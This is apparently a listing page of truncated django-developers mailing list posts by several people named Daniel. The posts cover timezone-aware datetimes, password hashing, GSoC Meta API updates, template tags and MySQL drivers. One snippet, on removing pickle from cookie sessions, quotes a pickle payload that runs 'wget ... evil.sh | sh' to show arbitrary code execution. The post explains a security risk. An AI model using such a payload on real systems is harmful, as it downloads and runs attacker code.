Re: Timezone-aware storage of DateTime

On Jun 29, 12:01 pm, Ryan McIntosh wrote: > Is that a crutch of your database?  It isn't something I would ever live > with.  All the *sql database servers I hate have an idea of what a > timestamp+offset is.  Django should leverage this.  IMHO, no such field > should exist in the underlying datab

Re: Timezone-aware storage of DateTime

On Jun 30, 11:06 am, Tom Evans wrote: > That is a domain specific assertion, I don't believe that is true in > all cases. Typically, when we put things into the ORM, we expect to > get the same things out again. If you consider viewing a timeline of a > users activities, we might want to display

Re: Timezone-aware storage of DateTime

On Jun 30, 5:12 pm, Andy Dustman wrote: > Uh, no. -00-00 is specifically an illegal value in MySQL. Invalid > dates are converted to -00-00 unless you are in strict mode, in > which case they raise error conditions. The actual supported range is > from 1000-01-01 to > -12-31.http://d

Re: Timezone-aware storage of DateTime

On Jun 30, 6:31 pm, Ian Clelland wrote: > As a counterexample, I have needed to store wall-clock time as well as time > zones for future events, in scheduling applications. It is exactly because > of the unpredictability of future DST changes (and, in very rare cases, > wholesale time zone change

Re: Timezone-aware storage of DateTime

On Jun 30, 7:45 pm, Andy Dustman wrote: > Since 4.0 came out in the late 1990s, isn't is possible that things > have improved somewhat over your dozen year gap of ignorance? > > (I'll stop feeding trolls now) No, it's a perfectly reasonable question that you ask. If I remember correctly, 4.0 was

FilePathField and stale choices

This problem was raised at least twice [1] [2] back in 2009 on django- users, and neither post was answered. If FilePathField is used declaratively for a form's field(s), it does not get called for each instantiation of that form - only the first time the form is used. Consequently, the choices ma

Re: FilePathField and stale choices

On Jul 7, 1:04 am, Luke Plant wrote: > That sounds like a reasonable idea to me, since doing it by default > could impose a serious performance hit. In it's most naive form (i.e. > making the 'choices' attribute a lazy list using > django.utils.functional.lazy) this wouldn't be too hard to impleme

Re: Storing IP address as integer within database to remove need for full text search

The snippet seems to have been removed (returns "page not found"). I was curious to have a look at how you were handling this. For sure, Postgres has native support for ipv4 and ipv6 address storage. AFAIK, MySQL does not... although could store an ipv4 address in a 32-bit unsigned int field. I don

Re: Storing IP address as integer within database to remove need for full text search

On Jul 19, 2:16 pm, "Cal Leeming [Simplicity Media Ltd]" wrote: > If I was to continue using MySQL for ipv6 storage, I'd probably create a > table with a column for each byte, convert to an int, and apply a unique > index to them all. I think MySQL supports 64 bit ints, so you could split an ipv6

Re: Multiple timezone support for datetime representation

I'm wholeheartedly on +1 on this. @Anssi Kääriäinen, re your localtime meeting example: this type of scenario has been discussed on this list previously, and the generally acknowledged solution is to use separate date and time fields, neither of which (on their own) have a concept of timezone. @A

Re: Multiple timezone support for datetime representation

On Sep 6, 10:47 pm, Aymeric Augustin wrote: > Under PostgreSQL, I assume I have to use a TIMESTAMP WITH TIME ZONE and set > the connection's timezone to UTC if I want non-Django applications using the > same database to obtain correct results, regardless of their connection's > timezone. To be

Re: Multiple timezone support for datetime representation

On Sep 8, 5:55 am, Kirit Sælensminde (kayess) wrote: > There is also a Django time field. How to handle this is kind of hard > as having a timezone on a time field may not make much sense. At the > moment it is up to application code to combine this with a date in a > sane manner. If Django switc

Re: Improved password hashing for 1.4

On Sep 10, 5:54 am, Paul McMillan wrote: > > The default password hashing algorithm will be changed to PBKDF2. > We'll include a pure python implementation, but preferably load faster > versions if available at the system level. > Having recently written a Python implementation of PBKDF2 myself,

Re: Improved password hashing for 1.4

s for RFC 3962. Paul, I'll contact you off-list. MfG Daniel -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group,

Re: Improved password hashing for 1.4

On Sep 12, 2:58 am, Jacob Kaplan-Moss wrote: > > If you're going to let Paul look at your work, please make sure you've > read and signed a CLA (https://www.djangoproject.com/foundation/cla/) > covering the code in question. Jacob, you're absolutely right, and I should really be a bit more organi

Re: Python 3 and you

some point in the future we'll be making more even more work for someone else to do the 3-only work. Regardless, I'm excited & will see what I can do to help. Daniel On Sep 14, 8:03 am, Jannis Leidel wrote: > Hi all, > > After last week's sprint I wanted to g

Re: Python 3 and you

s isn't even an option, as I don't know if 3to2 can translate back that far reliably. Simply getting the question out there for others to mull over. Daniel On Sep 14, 10:36 am, Jannis Leidel wrote: > Daniel, > > >   "You have my sword." I want to see this happen

Re: Python 3 and you

Help to cite appropriately. [1] was http://pypi.python.org/pypi/3to2. On Sep 14, 10:55 am, Daniel Lindsley wrote: > Jannis, > >    I wasn't trying to suggest we leave anyone behind, far from it. I > was suggesting move the code to Python 3 now, while there's less code >

Re: RFC: "universal" view decorators

s to keep backwards compatibility. Other alternative is rename the class to a non-PEP8 lowercase name). And I know there's the gotcha of having to use login_required() instead of just login_required[1]. Does this sound like a good compromise between both positions? Regards, Daniel [1] I

Re: Django test documentation example not respecting xUnit convention

On Tue, Sep 20, 2011 at 8:23 AM, Florian Apolloner wrote: > Hi, > > a) Does this matter at all? I mean what's the difference? You ask if they > are equal and if not you get an error ;) > Other xUnit framework actually show an error message explicit about it, saying "expected 'foo', actual 'bar'".

Re: Django test documentation example not respecting xUnit convention

On Wed, Sep 21, 2011 at 2:13 AM, schinckel wrote: > It isn't 'enforced' by Python at a language level, but as dmoisset stated, > it makes the failure messages actually make sense: > > "Expected 'foo', got 'bar'". > > Actually that's not the message in Python's unittest (but I've seen messages

Re: confusing things in Trac UI (was: Design decision for #1625...)

On Wed, Sep 28, 2011 at 1:14 PM, Jacob Kaplan-Moss wrote: > On Tue, Sep 20, 2011 at 4:17 PM, Paul McMillan wrote: > > Yes! Let's get rid of [the "accept" button]. It still confuses me now > even when I > > know exactly what it means! > > If anyone knows how to do this, let me know and I'll make i

Re: Removing pickle from cookie-based session storage

On Oct 2, 2:31 pm, Paul McMillan wrote: > data = "cos\nsystem\n(S'wget -q -O - subversivecode.com/evil.sh | sh'\ntR.'" > import pickle; pickle.loads(data) > Some workarounds for Pickle's execution of arbitrary code are proposed here http://nadiana.com/python-pickle-insecure Also note one of th

Re: Check-in #5 / Multiple timezone support for datetime representation

On Oct 16, 11:48 am, Aymeric Augustin wrote: > Hello, > > I've implemented the storage and retrieval of aware datetime objects in > SQLite. This involved some refactoring, because SQLite returns datetimes as > strings, and I didn't want to duplicate the parsing code. All database > backends ar

Re: Django Docs for Forms - Alternative Pattern from Advanced Django Forms Usage talk?

One of the things that I think would be wonderful is to see this and other issues such as server specific settings actually described in a Django best practices document. And not as part of the wiki. -- You received this message because you are subscribed to the Google Groups "Django developer

Re: 1.0.1 release blockers?

Sorry to bring this discussion back to the original topic... http://code.djangoproject.com/ticket/9498 is a pretty serious regression for us, which will prevent us upgrading to 1.0.1. There is a patch, and I've just added some tests - is there any chance this will make it into the release? Thank

[GSoC] (Another) Denormalized fields proposal

Hi all, Quick intro: I'm Daniel, a first year PhD student in Computer Science at Purdue in good ol' Indiana (BS is also in Computer Science). I've never contributed to the actual Django framework, but I've done some amount of programming with Django and have subscribed to t

Re: GSoC - denormalization model field proposal

On Sun, Mar 22, 2009 at 11:55, Christian Schilling wrote: > > As i already spend some time implementing demormalization for django > (the "django-denorm" project on github mentioned above), i'd like to > ad a few thoughts: > > The solutions created by Andrew Godwin and me currently rely completly

Re: MySQL test failure

On Fri, Apr 3, 2009 at 23:12, Malcolm Tredinnick wrote: > > On Fri, 2009-04-03 at 21:56 -0500, Jacob Kaplan-Moss wrote: > [...] >> >> File >> "/var/buildbot/slave/parts/ubuntu-8.04-python2.4-mysql5.0/django-trunk_ubuntu-8.04-python2.4-mysql5.0/build/tests/regressiontests/

Re: Adding a signal to indicate when all models have finished loading. (#7538)

have implications if people started relying on it. I will simply have to find a different means of handling what I'm looking for. I'm going to close that ticket and detail why it isn't a good idea to the best of my ability. Thanks. Daniel On Fri, Apr 10, 2009 at 6:48 PM, Malcolm Tredi

Ticket 3090 - multi-tag template tags

Partly pasted from http://code.djangoproject.com/ticket/3090 - a trivial reordering in template.Parser.parse to allow inner template tags to take parameters, something like 'parser.parse_until(('case', 'endswitch'))' where the 'case' tag can take parameters. I would like to see this change. I

Feature request: admin notifications

I wondered if it might be time to consider new features for Django 1.2. My suggestion is a system for administrators to be notified about specific model instances about which they need to take action. At present administrators have to identify where to make changes by browsing the site. Some exam

Re: Long-term direction for shortcuts

2009/8/3 Jacob Kaplan-Moss : > 1. Propose a new shortcut function. Bonus points for a patch. In all my projects I use a file of my own shortcuts: http://dpaste.com/hold/75120/ NB. I knew as I wrote the MAGICTEMPLATE shortcut that I would never actually use it. The idea was to eliminate ALL of t

Re: Allowing single values instead of tuples for choices in ChoiceField

On Aug 9, 8:41 am, andybak wrote: > It does get slightly uglier when you have cases such as: > f = CharField(choices=zip > (some_complex_expression_that_generates_a_list, > some_complex_expression_that_generates_a_list)) > > You don't really want to assign the expression to a variable within > yo

Re: Possible future compatibility naming conflict with checksetup command

;m happy to change it (or help (or get out of the way)). Daniel On Wednesday, June 19, 2013 1:34:54 AM UTC-7, Russell Keith-Magee wrote: > > Hi all (but especially Daniel) > > I've got a quick question about a recent commit and some naming > consequences that I think we

Re: Revisiting multiline tags

Is it considered gauche to revive old topics such as this? After having some difficulty debugging why an if statement was throwing a strange error, I realized it was because they didn't support multi-line statements. Here's what I was trying: {% if request.xxx.family.get_selected.get_age < pr

Re: Revisiting multiline tags

o fix the issue. On Mon, Jul 15, 2013 at 5:41 PM, Jacob Kaplan-Moss wrote: > On Mon, Jul 15, 2013 at 1:34 PM, Daniel Ellis wrote: > >> Is it considered gauche to revive old topics such as this? > > > It's not, but my opinion hasn't changed -- I'm still -1

Re: Deprecate admindocs?

Can we assume it will be separated out? While none of us on the list use admindocs or care, a decent number of beginners seem to like to use it. --Daniel Greenfeld On Thursday, July 25, 2013 7:21:08 PM UTC+2, Julien Phalip wrote: > > On Jul 25, 2013, at 5:29 AM, Aymeric Augustin <

Re: Proposal: Implement CORS & OAuth/OAuth2

7;ve had this request several times for security-related packages, database connectors, and other things. We're not sure about the API yet, but there you go. -- 'Knowledge is Power' Daniel Greenfeld Principal at Cartwheel Web; co-author of Two Scoops of Django; Maintainer of Djang

Re: Proposal: A diagram showing Class Based View inheritance and mixins.

Seth, I like it a lot. Is there any chance you can provide a focused version per Class-Based View? Daniel Greenfeld On Sunday, August 18, 2013 10:03:59 PM UTC+2, Seth Moon wrote: > > I believe it would be beneficial to the Django developers and users if the > documentation included

Re: Django Tutorials

Javair, Not to put a fine point on it, but did you actually bother to look at djangobook.com? It says: "A warning about this edition" on the front page and then goes into asking that users not work on it. Is this why you don't want to work on it? Daniel Greenfeld On Monday, O

Re: App-loading reloaded - running code at startup

avior, but the existing behavior can be very unstable (for all the reasons others have mentioned). A stable order would be nice from an "easier-to-rationalize-about" perspective. Daniel On Monday, December 30, 2013 4:29:05 AM UTC-8, Aymeric Augustin wrote: > > Hello, >

Re: Recommending a Python 3-compatible MySQL connector

I want to follow up on the issue of a Python 3 connector for MySQL. Oracle has developed an open source Python driver for MySQL : - PEP 249-compliant - pure Python - supports Python 3 - very simple installation: pip install

Re: GSOC 2014 Project Proposal

t happen, just as it would be nice to see djangobook.com taken off the wikipedia page until it does get updated. In the meantime, unless no core developer objects, after getting yet another emailed question about mod_apache deployment (thanks to http://www.djangobook.com/en/2.0/chapter12.html)

Re: GSOC 2014 Project Proposal

27;ll find some attempts). Fourth, because of the third issue, we risk complaints of plagiarism. The content already exists, it's just a matter of finding it. GSOC funding for code examples that already exist? No. No. No. Bad idea! Daniel Greenfeld On Monday, February 24, 2014 2:28:41 AM UTC-

Re: GSOC 2014 Project Proposal

2013. I can only guess that djangobook.com will be updated as well. I apologize for not considering the ownership issues in my first email in this discussion. Daniel Greenfeld On Monday, February 24, 2014 8:39:41 AM UTC-8, Daniel Greenfeld wrote: > > After due consideration, I think up

Re: Revisiting multiline tags

;s no business logic here: every parameter in this tag is > presentational log and belongs in templates (<- unless I'm wrong about > that, please suggest a refactoring to me if you believe one is appropriate > here!) > > > > On Wednesday, July 17, 2013 1:48:38 AM UTC+1, Russ

[GSOC] Introduction and task proposal

Hi, My name is Daniel Pyrathon. I am currently a third year BSc student in Computer Science at the University of Plymouth. I love programming and I have always been active in the Open Source community (especially Python). In the past years I have written lots of Python, Javascript, Ruby

Re: [GSOC] Introduction and task proposal

Hi Russel, Sorry for getting back now (I did not have notifications set up!). Thank you very much for the suggestions, I will have a look at models/options.py right away. Regards, Daniel Pyrathon On Thursday, March 6, 2014 12:03:04 AM UTC, Russell Keith-Magee wrote: > > Hi Daniel, >

Re: [GSOC] Introduction and task proposal

stores that work well with Django https://docs.google.com/document/d/1yp2_skqkxyrc0egdRv6ofnRGCI9nmvxDFBkCXgy0Jwo/edit# Kind regards, Daniel On Tuesday, March 11, 2014 10:48:43 PM UTC, Daniel Pyrathon wrote: > > Hi Russel, > > Sorry for getting back now (I

Re: [GSOC] Introduction and task proposal

Hi! Thanks for all the comments yesterday. They really helped me make the proposal stronger. I have changed to proposal to reflect the changes. Would anyone like to have a look and, possibly, comment more? https://docs.google.com/document/d/1yp2_skqkxyrc0egdRv6ofnRGCI9nmvxDFBkCXgy0Jwo/edit#head

Re: [GSOC] Introduction and task proposal

Hi all, It's been a while since I submitted my GSOC proposal. Although I am currently under exams, is there anything you would recommend me to do at this point (other than hope that my proposal is successful)? Thanks, Daniel Pyrathon On Thursday, March 20, 2014 6:05:40 AM UTC, Russell

Re: [GSOC] Introduction and task proposal

Hi Josh, Sorry for getting back now. I have just finished my exam session, so I will be trying out the djangocore-box VM. Regards, Daniel Pyrathon On Thursday, March 27, 2014 5:45:36 AM UTC+1, Josh Smeaton wrote: > > If you haven't already got all your databases instal

Re: Revisiting multiline tags

Hmm, that does seem like a great idea! On Thu, Apr 3, 2014 at 10:17 AM, dude wrote: > Very good idea i think! > > Many people love format source codes to be beauty. But they can’t because > django templates does’t support multiline tags. > > > 03 апр. 2014 г., в 21:13, Daniele Procida написал(

[GSOC] Hi from Daniel!

Hi, My name is Daniel, and this summer I will be working on formalising Meta. This will allow developers to build custom implementations of Meta and deploy them into their Django project. In case you missed my proposal, you can have a look at it here: https://docs.google.com/document/d

Re: [GSOC] Hi from Daniel!

ve me a shout Regards, Daniel Pyrathon On Thursday, April 24, 2014 1:29:03 AM UTC+1, Ramiro Morales wrote: > > Hi Daniel, > > On Wed, Apr 23, 2014 at 4:23 PM, Daniel Pyrathon > > > wrote: > > Hi, > > > > My name is Daniel, and this summer I will be wo

[GSOC] Weekly update

ut my progress feel free to contact me! The branch I am currently working on is https://github.com/PirosB3/django/tree/meta_documentation Regards, Daniel Pyrathon -- You received this message because you are subscribed to the Google Groups "Django developers" group. To unsubscribe

Re: [GSOC] Weekly update

appreciated. Hi from Pycon IT! Daniel Pyrathon On Tuesday, May 20, 2014 3:25:45 PM UTC+2, Josh Smeaton wrote: > > Best of luck! > > On Tuesday, 20 May 2014 03:56:06 UTC+10, Daniel Pyrathon wrote: >> >> Hi All, >> >> Today I will be starting my weekly updates on my So

Re: [GSOC] Weekly update

Hi Chris, Oh sorry about that! big typo over there. Modifying the gist. Thanks, Daniel Pyrathon On Saturday, May 24, 2014 7:44:15 AM UTC+2, Chris Beaven wrote: > > Hi Daniel, > > The proposal looks interesting - I've only skimmed it so far but one > question: you me

Re: [GSOC] Weekly update

will be approved. My current proposal (https://gist.github.com/PirosB3/371704ed40ed093d5a82) and it will be discussed tomorrow with Russell. I will post as soon as I have updates. Daniel Pyrathon On Saturday, May 24, 2014 10:37:49 AM UTC+2, Josh Smeaton wrote: > > Hi Daniel, > &g

Re: [GSOC] Weekly update

Hi All, Just to make you know, I have put up the current _meta API documentation here: http://162.219.6.191:8000/ref/models/meta.html?highlight=_meta As always, feel free to ask questions. Daniel On Monday, May 26, 2014 1:26:27 AM UTC+2, Daniel Pyrathon wrote: > > Hi Josh, > >

Re: [GSOC] Weekly update

a lot more of the current implementation. We are testing each combination of fields and options together. My current implementation is visible here: https://github.com/PirosB3/django/compare/soc2014_meta_refactor For any questions or suggestions, let me know. Daniel Pyrathon On Monday,

Re: [GSOC] Weekly update

tation as is for personal use only For any questions, let me know! Dan On Sunday, June 1, 2014 6:10:53 PM UTC+2, Daniel Pyrathon wrote: > > Hi All, > > An update on my side, some interesting work has happened this week: me and > Russell have decided to start on the impl

Re: Support for function application in ORDER BY

I see everyone trying to put the direction (ascending vs decending) inside the expression, while it's actually a property of the ordering clause. Wouldn't it make more sense and avoid ambiguities to do: qs.order_by(..., descending=True) ? Then you can add functions (and even a __neg__ operator t

Re: Support for function application in ORDER BY

n 9, 2014 at 4:00 PM, Daniel Moisset > wrote: > >> I see everyone trying to put the direction (ascending vs decending) >> inside the expression, while it's actually a property of the ordering >> clause. Wouldn't it make more sense and avoid ambiguities to do: >

Re: Loading fixtures once for each TestCase to improve running time

A long time ago (django 1.3 era) I wrote a library (no need to change django) to do exactly this, using savepoints to rollback: https://github.com/machinalis/django-fasttest It worked pretty well for a large project and provided a large speedup (i think it was about 5x) on a large test suite. But

Re: [GSOC] Weekly update

stions, as usual, let me know Dan On Friday, June 6, 2014 7:03:36 PM UTC+2, Daniel Pyrathon wrote: > > Hi All, > > Based on the work done last week, this week I have worked on the following: > > *1) Covered the current _meta implementation of unittests* > The current Options i

[GSOC] model/options.py test suite released

and advice, so if you would like to say something, just write it here or on the PR. Regards, Daniel Pyrathon -- You received this message because you are subscribed to the Google Groups "Django developers" group. To unsubscribe from this group and stop receiving emails from it, sen

Re: [GSOC] Weekly update

ou can make it work. > > Just check that you don’t "overload" fields, by storing in field objects > information that doesn’t belong there. > > -- > Aymeric. > > > > On 13 juin 2014, at 19:53, Daniel Pyrathon > > wrote: > > Hi All, > > Thi

Re: [GSOC] Weekly update

- Small optimizations (BIG work in progress) If you have any suggestions please let me know! Dan On Sunday, June 22, 2014 2:14:56 AM UTC+2, Curtis Maloney wrote: > > Is there somewhere I can look at your work in progress code? > > > On 21 June 2014 19:57, Daniel Pyrathon > &g

Re: [GSOC] Weekly update

RE work in progress code The main functions to optimize are get_new_fields, get_new_field, they are found here: https://github.com/PirosB3/django/blob/a92c37f0cad6bdd7a3b24ef235c81a7dab6bee72/django/db/models/options.py On Sunday, June 22, 2014 11:49:05 AM UTC+2, Daniel Pyrathon wrote

Re: [GSOC] Weekly update

Hi Josh, Thanks to your advice. On Saturday, July 5, 2014 12:11:07 PM UTC+2, Josh Smeaton wrote: > > Excellent work, well done. I have a couple of questions/ideas though. > > 1. The use of bit flags irks me. Would it be possible just to use numerous > keyword arguments to the new get_fields ? >

Re: [GSOC] Weekly update

Hi Curtis, Of course! I will be happy to open a document with my performance tuning experience. Said this, I am very far away from being a "performance master" and I am still looking at places where my code can improve. It would be nice if it was a wiki page, where everyone can share and correc

Re: [GSOC] Weekly update

a_api For anything, as usual, just let me know :) Daniel On Saturday, July 5, 2014 12:11:07 PM UTC+2, Josh Smeaton wrote: > > Excellent work, well done. I have a couple of questions/ideas though. > > 1. The use of bit flags irks me. Would it be possible just to use numerous > keyw

Re: [GSOC] Weekly update

might also be doing a lightning talk on the new Options API, or the GMail store depending on progress. For anything, as usual, let me know Daniel Python On Friday, July 11, 2014 4:59:09 PM UTC+2, Daniel Pyrathon wrote: > > Hi All, > > Following this week's work. I have made p

Fields terminology for official Options API

ted objects waiting on the other end. I also like the symmetry between "m2m" and "reverse_m2m". - Django isn't always consistent (and sometime actually wrong) in naming relations, especially indjango/db/models/fields/related.py. Now that we start

Re: [GSoC] Update of my work

Nice work! amazing as usual Anubhav ;) 2014-07-27 9:24 GMT+02:00 anubhav joshi : > Hi all > > My project "*Improving error reporting & Fixing up the related issues" > *proposal > can be seen here: GSoC Proposal > > > I have been keeping a

Re: Pull django-registration into contrib?

ocumentation of django.contrib.auth. --Daniel Greenfeld On Friday, August 1, 2014 9:17:30 AM UTC-7, Collin Anderson wrote: > > It seems to me, in any case, the first step is to get django-registration > actively maintained again. James Bennett is welcoming proposals of people > to take over

Re: [GSOC] Weekly update

014 10:42:55 PM UTC+2, Andre Terra wrote: > > On Sat, Jul 19, 2014 at 2:38 AM, Raffaele Salmaso > wrote: > >> On Fri, Jul 18, 2014 at 7:32 PM, Daniel Pyrathon > > wrote: >> >>> *- Started on my GMail Store* >>> (...) >>> >> Pirosb3,

Re: [GSOC] Weekly update

Hi Aymeric, Thanks for writing back On Sunday, August 3, 2014 4:24:27 PM UTC+2, Aymeric Augustin wrote: > > On 3 août 2014, at 15:11, Daniel Pyrathon > > wrote: > > *1) get_fields should return a list instead of a tuple* > Previously, get_fields would return a tuple. The ma

Re: [GSOC] Weekly update

Hi All, This has been resolved by using the ImmutableList datastructure https://github.com/PirosB3/django/blob/soc2014_meta_refactor_upgrade_flags_get_field_tree/django/db/models/options.py#L629 On Monday, August 4, 2014 2:44:38 PM UTC+2, Collin Anderson wrote: > > if we do really need a list, c

State of concrete fields

PI (https://groups.google.com/forum/#!topic/django-developers/XfMUjK59Sls) it would be great to reduce complexity even more by removing the entire term "concrete fields". Thanks, Daniel Pyrathon -- You received this message because you are subscribed to the Google Groups "Django develope

Re: [GSOC] Weekly update

e. It overrides a tuple (so it should be performant) and is still conceptually a list. Is this clear? please let me know if you want me to explain further our decision on this. Daniel On Monday, August 4, 2014 4:54:45 PM UTC+2, Łukasz Rekucki wrote: > > On 4 August 2014 16:14, Daniel Pyrathon

Re: [GSOC] Weekly update

ave the occasional impact on how we'd choose to write > documentation examples etc...) > > All the best & keep up the great work, > > Tom > > > On Wednesday, 6 August 2014 01:33:53 UTC+1, Russell Keith-Magee wrote: >> >> >> On Tue, Aug 5

Re: [GSOC] Weekly update

/django/django/pull/2894 Thanks! Daniel On Friday, August 8, 2014 6:37:06 PM UTC+2, Daniel Pyrathon wrote: > > > > On Wednesday, August 6, 2014 3:46:42 PM UTC+2, Tom Christie wrote: >> >> > This has been resolved by using the ImmutableList datastructure >> >

Re: Requiring GitHub login for actions on Trac

On Sunday, August 10, 2014 2:37:01 AM UTC-7, Aymeric Augustin wrote: Using GitHub for auth a giant +1 from me. For me, this ranks up with the SVN to Github move as a: "Why hasn't this been done already?" Daniel Greenfeld co-author Two Scoops of Django -- You received this

Re: [GSOC] Weekly update

, Daniel On Saturday, August 9, 2014 4:10:31 PM UTC+2, Daniel Pyrathon wrote: > > Hi All, > > This week I have been working on mainly 3 tasks: > > *- Formalizing the PR* > 2 days were dedicated on fixing all the small issues on the PR. I am now > ready for another revie

Re: Proposal new Django Admin css style

Thanks for the mention, but I haven't had time to work or maintain that for months. I'm not sure how it works with the upcoming Django 1.7. Also, for the sake of simplicity, the default skin for it is bootstrap 3. Any CSS in there is per skin, and probably doesn't belong in this discussion. On

Re: GSoC Meta refactor: Bikeshedding time!!

Hi All, First of all, thanks Russell for bringing this discussion up. *Regarding get_fields complication* Throughout the development of this project, I have realised that 90% of the API usage inside and outside of Django can rely entirely on 4 or 5 cached properties. The most used API calls are

Re: GSoC Meta refactor: Bikeshedding time!!

Hi Anssi With regards to Michal Petrucha's changes, I have the feeling you are correct. A solution to this could be to provide a cached property called **foreign_keys** that will disguise the actual identity of a ForeignKey. Once the Michael's changes are introduced, we could start deprecating

Re: GSoC Meta refactor: Bikeshedding time!!

Hi Shai, Thanks for getting back, so.. On Monday, August 18, 2014 1:44:49 PM UTC+2, Shai Berger wrote: > > Hi again, > > Below, ">D" are quotations from Daniel's message I'm replying to, and > ">R" are from Russell's message that opened this thread. > > >D *Regarding FileField* > > It took m

Re: GSoC Meta refactor: Bikeshedding time!!

Hi Colin, Thanks for getting back On Monday, August 18, 2014 4:58:20 PM UTC+2, Collin Anderson wrote: > > The goal is to have "API methods that let you introspect the fields and > relations that exist on a model", right? Why go though the trouble of > finding the one specific type for each fiel

Re: GSoC Meta refactor: Bikeshedding time!!

Hi Shai, Thanks for the comments! On Wednesday, August 20, 2014 8:21:36 PM UTC+2, Shai Berger wrote: > > On Wednesday 20 August 2014 10:29:49 Anssi Kääriäinen wrote: > > On Wednesday, August 20, 2014 11:19:33 AM UTC+3, Russell Keith-Magee > wrote: > > > > > > This yields the following formal

Documentation tool

Hello, I'm looking for a documentation tool for my django project. Something like JavaDoc or PHPDoc, to be able to generate a HTML|PDF with the models, views, urls.. I've used sphinx to non-related Django projects, but I've never tried with Django Any suggest? Thanks. Chimeno -- You receiv

Re: [RFC] Python 3 and MySQL

Aside from the technical issues, there are the licensing issues. The Django community strongly prefers BSD-style licensing and both mysqldb and MySQL Connector/Python use GPL licenses. For an e-mail thread which addresses these GPL issues, see https://groups.google.com/forum/#!msg/django-develo

Re: The greatest proposal yet: rename this damn group

Hi, I think that changing the name the community on google will create many broken links, this will be a huge loss. What we can do instead, is create 2 domains (or subdomains) such as core-development.djangoproject.com and community.djangoproject.com that will serve as the official URLs to publici

Re: What happens if a Fellow has a holiday?

Enjoy your week off! El jueves, 4 de junio de 2020, 12:47:57 (UTC+2), Carlton Gibson escribió: > > Hi all. > > Short answer is we don't really know, since we never take holidays. 🙂 > > I though am having a much needed week off from tomorrow, to be back on the > 16th. > > Mariusz will need assi

binding framework third-party package for Channels 2

Hi, I'm not sure where to ask this question because it doesn't seem to fit anywhere but I hope this group is the best place. The Channels 2.0 docs say that the binding framework will appear in a third-party (non-off

Re: PEP 484 type hinting in Django

receiving emails from it, send an > email to django-developers+unsubscr...@googlegroups.com. > To post to this group, send email to django-developers@googlegroups.com. > Visit this group at https://groups.google.com/group/django-developers. > To view this discussion on the web visit https:/

Re: PEP 484 type hinting in Django

. you need to do it bottom up (covering basic abstractions first). So the place to start is probable the parts of django that change less and are more solid foundations (in my case I started with requests, views and URL resolvers, etc) -- Daniel F. Moisset - UK Country Manager - Machinalis Limit

<    1   2   3   4   >